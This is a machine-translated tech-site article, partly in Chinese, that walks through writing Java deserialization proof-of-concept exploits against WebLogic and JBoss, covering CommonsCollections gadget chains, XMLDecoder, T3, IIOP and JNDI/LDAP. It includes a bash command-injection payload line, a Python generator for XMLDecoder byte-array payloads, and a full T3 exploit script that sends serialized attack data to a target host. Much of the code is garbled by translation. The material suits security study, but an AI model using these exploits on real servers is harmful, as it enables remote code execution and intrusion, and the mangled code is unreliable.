Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to analyze deserialization POC

2025-03-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article introduces you how to analyze deserialization POC, the content is very detailed, interested friends can refer to, hope to be helpful to you.

0x00 JBOSS deserialization POC writing

The use of CommonsCollections is a history of deserialization vulnerabilities.

POC authoring for CommonsCollections types:

The CC reflection chain cannot be written without four Transformer classes:

ConstantTransformer,invokerTransformer,ChainedTransformer,TransfoeredMap

The first ConstantTransformer is responsible for entering a xxx.class and returning the class object of java.lang.Class, which is used for subsequent calls to get the object of getMethod.

The first invokerTransformer is equivalent to execution

Method getRun = Runtime.class.getMethod ("getRuntime", parameter type description)

By reflecting the getMethod method passed in the getRuntime parameter, of course, the result of this method reflection is the Method object of the getRuntime.

The second invokerTransformer is equivalent to execution

Runtime getRun = getRun.invoke ()

The third invokerTransformer is equivalent to execution

Method getexec = Runtime.class.getMethod ("exec", parameter type description)

Getexec.invoke (getRun, commands to be executed)

Finally, the Transform array is passed to ChainedTransformer, and then ChainedTransformer is passed into TranformedMap for decorate,EntrySet transformation. Finally, the setValue method of TranformedMap class is triggered, and the transform method of Transformer class is triggered one by one through the setValue method.

See:

Https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg

Https://www.freebuf.com/articles/web/246081.html

Construction of LazyMap type POC

The call to LazyMap is still a little different from that of TransformedMap, because LazyMap does not have a setValue method, so you have to find a way to call the get method of LazyMap.

If you use the get method to trigger the transfrom method of ChainedTransformer, you can't use the routine of writing TransformedMap to play at this time. A dynamic proxy mechanism is needed to trigger the invoke method of the AnnotationInvocationHandler class

Then you need to construct the InvocationHandler proxy twice, the first is to trigger the default option in the invoke method when any method call is made by the LazyMap proxy object, and the second is to let the InvocationHandler proxy object make the readObject method call.

See: https://www.freebuf.com/articles/web/247672.html

BadAttributeValueExpException type POC writing

The readObject method of the BadAttributeValueExpException class calls the toString method of the vale domain of the incoming data flow.

Then find a class that has a toString method in the val domain, and this class toString method can trigger the get operation of the LazyMap object, which can be passed in the LazyMap object.

TiedMapEntry is just right to meet:

The toString method calls the getValue method

The getValue method, which calls the get method of the map type object, and LazyMap is the implementation class of the map interface, perfect.

The implementation process: the CC chain is passed into ChainedTransformer,ChainedTransformer, and LazyMap,LazyMap is passed into TiedMapEntry,TiedMapEntry as a reference to the value domain of BadAttributeValueExpException. After serialization, the BadAttributeValueExpException calls the toSting,toString of the value domain, the getValue,getValue invokes the get,get triggers the transform method of ChainedTransformer, and the transform method of ChainedTransformer triggers the transform method of the Transformer array.

0x01 XMLDecoder deserialization POC writing

Weblogic XMLDecoder is based on SOAP to parse, specific analysis articles are available online, and reference links will be attached later.

To put it simply, the history of repairing XMLDecoder is the history of bypassing SOAP tags.

First, look at CVE-2017-3506, because XMLDecoder parses the XML file in the form of SOAP, parses all the tags in the WorkContext tag, parses the object tag of the first position class under the java tag into the class that needs to be loaded, parses the last void tag with a class value of method into the method to be loaded, parses the value of class in the array tag into the parameter type of the method, and length as the number of parameters The label of the middle void+string type is the value of each parameter executed by the method.

Let's take a look at the patch of CVE-2017-10271 to CVE-2017-3506:

Just filter the object tag, then find a new class to bypass, voidElementHandler inherits from ObjectElementHandler so, void tag, naturally can be parsed according to the Object tag.

Just filter the object tag, then find a new class to bypass, voidElementHandler inherits from ObjectElementHandler so, void tag, naturally can be parsed according to the Object tag.

Next, post a general POC of CVE-2017-10271&CVE-2017-3506

/ bin/bash-c + cmd + > > servers/AdminServer/tmp/_WL_internal/wls-wsat/cmdecho.txt

Take a look at the previous patch for CVE-2019-2725 pairs:

Private void validate (InputStream is) {WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory (); try {SAXParser parser = factory.newSAXParser (); parser.parse (is, new DefaultHandler () {private int overallarraylength = 0 Public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException {if (qName.equalsIgnoreCase ("object")) {throw new IllegalStateException ("Invalid element qName:object");} else if (qName.equalsIgnoreCase ("new")) {throw new IllegalStateException ("Invalid element qName:new") } else if (qName.equalsIgnoreCase ("method")) {throw new IllegalStateException ("Invalid element qName:method");} else {if (qName.equalsIgnoreCase ("void")) {for (int attClass = 0; attClass)

< attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); } 平安团队对此进行了分析,最后的结论: 1、 禁用 object、new、method 标签 2、 如果使用 void 标签,只能有 index 属性 3、 如果使用 array 标签,且标签使用的是 class 属性,则它的值只能是 byte 但是class标签还在,这个标签可以声明需要调用的类,还有惊喜,就是array标签可以使用,只要是byte类型就行。 那么现在需要找到这次出问题的地方,看之前的补丁。 那就找一个既可以解析byte类型的构造方法的类,UnitOfWorkChangeSet(盗个图) 那就让它调用这个类,给这个类传递byte数组 oracle.toplink.internal.sessions.UnitOfWorkChangeSet -84 ... ... 这里在weblogic 10.3.6(JDK 1.6)的环境下复现: 首先这个类的构造方法可以readObject,那就先构造这样一个类。 先用ysoserial生成commons-collection生成一个反序列化文件。 然后将这个反序列化转化为16进制,一个字节是8个二进制位,一个字节相当于2个16进制位,16进制转化为byte型,并进行POC的拼接。 每一段反序列化数据必定以ac ed开头,那么第一个字节的值就应该是: ac=10101100=172,但是byte的存储范围是-128~+127,这个明显是溢出了,然而计算机的存储是按照补码进行存储的,补码到原码的计算应该是符号位为1,其余各位取反,然后再整个数加1。 11010011+00000001=11010100=-84,这就是为什么POC中第一个开头的字节值为-84。 那么接下来编写生成POC的py脚本。 反序列化文件转化思路:先将文件中中的数据转化为16进制,然后两个16进制数为一组,并在其之前拼接'0x'然后将其归为一个列表的元素。 进制转换思路:如果两个16进制的10进制值小于127,那么不对它进行操作,保留原值,如果不是则对其进行原码运算,最后转为10进制值。 原码运算思路: 补码-1,得到反码,反码除符号位外按位取反。 将这些10进制的值挨个拼接到XML的标签中。 代码如下: # -*- coding:utf-8 -*-import binasciiwith open('poc', 'rb') as f: a= binascii.b2a_hex(f.read()).decode('utf-8')b = []for i in range(len(a)//2): c = '0x'+a[2*i]+a[2*i+1] c = eval(c) if int(c)>

C = int (c) c ='{: 08b} '.format (c) c = list (c) d =' 'for i in range (len (c)): if I = = 0: d + = c [I] continue elif c [I] =' 1mm: C [I] ='0d + = c [I] else: C [I] ='1D + = c [I] d = list (d) pos = 0 for index in range (len (d)): if d [index] = = '0mm: pos = index for index in range (pos) Len (d): if d [index] = = '0mm: d [index] =' 1' else: d [index] ='0' d.remove (d [0]) d = '0b'+''.join (d) d =' -'+ str (eval (d)) b.append (d) Else: b.append (str (c)) pocHeader ='\ 'oracle.toplink.internal.sessions.UnitOfWorkChangeSet'\'\ 'pocBody =' 'for i in range (len (b)): pocBody + =' '+ str (BI]) +' pocFooter ='\'\ 'pocAll = pocHeader + pocBody + pocFooterf = open (' poc.txt' 'f.write') f.write (pocAll)

It is then sent to the interface of / wls-wsat/ and the calculator pops up successfully. Here is a question: why would someone else write a POC to remove the XML node of 0? I didn't go and I succeeded)

This is a bypass of the previous patch, take a look at the newly discovered interface is async:

The POC for this interface is, plus xx.

Xx, see the freebuf article of the Ping an team for the analysis process.

Add these two XML tags to the general POC of the previous CVE-2017-10271&CVE-2017-3506 directly, and then send POC before sending it to have a look:

Note here that POC is written on top of it. Why, see Master Liao's article:

Http://xxlegend.com/

Reference link:

Https://www.freebuf.com/vuls/206374.html

Writing 0x02 T3 Protocol deserialization POC

T3 is a reasonable thing, so every time the leaders of security research find the inner class, and then load the inner class by serializing the data.

The role of T3 Protocol

To put it bluntly, T3 is an alternative remote method call.

Composition of T3 deserialization data

The data flow of T3 is received like this, and the client sends a fixed handshake message:

T3 12.2.1\ nAS:255\ nHL:19\ nMS:10000000\ nPU:t3://us-l-breens:7001\ n\ n

The server returns:

The client then sends the deserialized data of the newly created file with a specially constructed CC chain

T3 data construction process:

Modify / Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh on a target that turns on the weblogic service, and when this script sends a stop request to another weblogic host, it will send serialized data for T3, and then use wireshark to grab the data.

Modification process:

Https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/

How to use T3 protocol to load remote classes

Using the deserialization mechanism of T3 protocol, deserialization can remotely load the class of the method, and then load the remote method, that is, secondary serialization.

Try the CC chain + JRMP remote method call, or CVE-2019-2628, using an earlier version of weblogic, and review the traffic of the weblogic stop script again.

First handshake:

The second time to send a serialization request:

Send the serialized object for the third time:

Although it looks like a pool of foreign code, the big guys' POC has begun to be written in detail (it's very different from what I learned before, https://blog.csdn.net/he_and/article/details/97924679).

Here, first use the POC of the previous article to see if you can serialize it again:

First use yso to generate a serialization script for the JRMP request

Start server snooping and HTTP service result error

After normal deserialization is successful, the server reports an error as follows:

So take a look at how others succeed, and first post the example on GitHub:

Https://github.com/0xn0ne/weblogicScanner/blob/master/stars/cve_2018_2628.py

First of all, look at the notes:

It is said that it is the first time to send the request object of T3.

The second time is the serialized object. Compare the GitHub script with the weblogic stop script. Instead of looking at the handshake, you can directly look at the data requested by T3:

When stitching data1,2,3,4 directly, transcoding hex, and splicing data2, note that there is such a small detail at the end of the data2 variable.

There is another detail in the data2.

This means that after the tail dport (usually 7001) is converted to 4-bit hexadecimal, it is filled to the position of {0}.

7001 is converted to hexadecimal to 1b59. I directly remove the following format and replace {0} with 1b59.

The difference between hex decoding and weblogic's stop script traffic.

There seems to be no difference except for the IP address, let's take a look at the second paragraph of the deserialized data

Splices deserialized data into a serialized data stream.

Then why divide it into data1,2,3,4 and send it like this, and then go back to the process of looking at the data packet.

Then intercept the hexadecimal of the 1b59 waiting port to replace it.

After the serialization request packet with length 1514, there is also a packet with length 88, which is also intercepted.

OK, then the TCP data is sent twice when serializing the data.

The return result is consistent with that in the packet, so there is no need to send it four times.

To start the second step, send a malicious serialized object. Let's take a look at the original POC here.

You can see that fe010000 is the end of a segment of deserialized data, and aced0005 is the beginning of a segment of deserialized data. Let's look at the packet first.

When entering the packet, only the Hex after 00000372 is intercepted. The characters in front of the TCP packet are all characters, and only the real T3 data is behind it.

Then the length of this Hex is calculated as 372. then it is roughly judged that the combination of this piece of data is "fixed T3 data header" + "deserialized data segment". In this segmentation method, each deserialized data segment begins with aced0005 and ends with fe010000. I will try to intercept the data before the first aced0005 first. After splicing the intercepted data directly from the serialization file generated by yso, fe010000', after the data, then find out the length of the Hex string, fill it to the beginning, and fill it with 0 to the left.

Then POC can be written as follows:

#-*-coding:utf-8-*-import binasciiimport socketimport timedef T3 (): hello ='t3 12.2.1\ nAS:255\ nHL:19\ nMS:10000000\ n\ n' host = ('192.168.23.128 / 7001) sock = socket.socket (socket.AF_INET) Socket.SOCK_STREAM) sock.settimeout(15) sock.connect(host) sock.send(hello.encode('utf-8')) time.sleep(1) response = sock.recv(2048) print(response) data1 = '000005be016501ffffffffffffffff000000690000ea600000001816e4292ca381af623658de6c3770e50a53746339ada2505a027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774f210000000000000000000f3139322e3136382e3135342e313332000f3139322e3136382e3135342e3133327de213520000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d017344e7564a2ec4' data2 = '14000a3137322e32302e302e325adb1b310000000078' for d in [data1, data2]: sock.send(binascii.a2b_hex(d)) print(sock.recv(2048)) with open('poc1', 'rb') as f: a = binascii.b2a_hex (f.read ()) .decode (' utf-8') header = '056508000010000001b0000005b010100737787073720870000000000000757203787000000000787000877656cf67696572047000000ab08d9e9c900087765626cecdcc7400087765626c6f6769630fe010000' footer =' fe010000' data = header + a + footer data ='s% s'% ('{: 08x} 'format (len (data) / 2 + 4) Data) sock.send (binascii.a2b_hex (data)) time.sleep (5) if _ _ name__ = "_ _ main__": T3 ()

Using yso to output the serialization file of JRMPClient

Start yso snooping

Execute the script and pop up the calculator

Take a look at the subsequent flow of the packet:

0x03 IIOP deserialization POC learning

Reference document: https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

Post the reason:

Weblogic IIOP protocol is enabled by default and listens on port 7001 together with T3 protocol. This vulnerability is mainly due to incorrect filtering of JtaTransactionManager classes. JtaTransactionManager parent class AbstractPlatformTransactionManager has been added to the blacklist list in the previous patch. T3 protocol uses resolveClass method to filter, and resolveClass method reads the parent class, so T3 protocol filtering is fine. However, although the blacklist is also used in the IIOP protocol, it does not use the resolveClass method to judge. By default, it will only judge the class name of this class, while the JtaTransactionManager class is not in the blacklist and there is jndi injection.

Here is an analysis of Master Y4er's poc (note that the bottom layer is really unable to follow, ah, as long as you can change the POC), https://github.com/Y4er/CVE-2020-2551

CreateMemoitizedProxy creates a dynamic proxy for AnnotationInvocationHandler, and then sends the object of the dynamic proxy to the server for deserialization.

See the source code of the Y4er master for details.

Give it a try.

Add a note about the GitHub detection script for cve-2020-2551:

Https://github.com/0xn0ne/weblogicScanner/blob/master/stars/cve_2020_2551.py

First run the following program

Here, specify the wrong port for the IIOP server, and the program will report an error:

It is said that the server cannot be connected and there is no communication traffic, so change it to the normal port 7001.

Grab the packet:

The program is running normally, using wireshark to grab the packet:

Take a look at its Hex:

It is found that the red part of the data sent by the client is consistent with the detection script.

If there is a GIOP field in the return package, it indicates that there is a vulnerability.

0x04 JNDI injection type LDAP deserialization POC writing

LDAP can not only describe the object information of Java, but also return serialization data, which is deserialized by the class of JNDI.

This is relatively simple, just encode the generated serialization file BASE64, and then the client LDAP request returns the serialization data.

On how to analyze deserialization POC to share here, I hope that the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report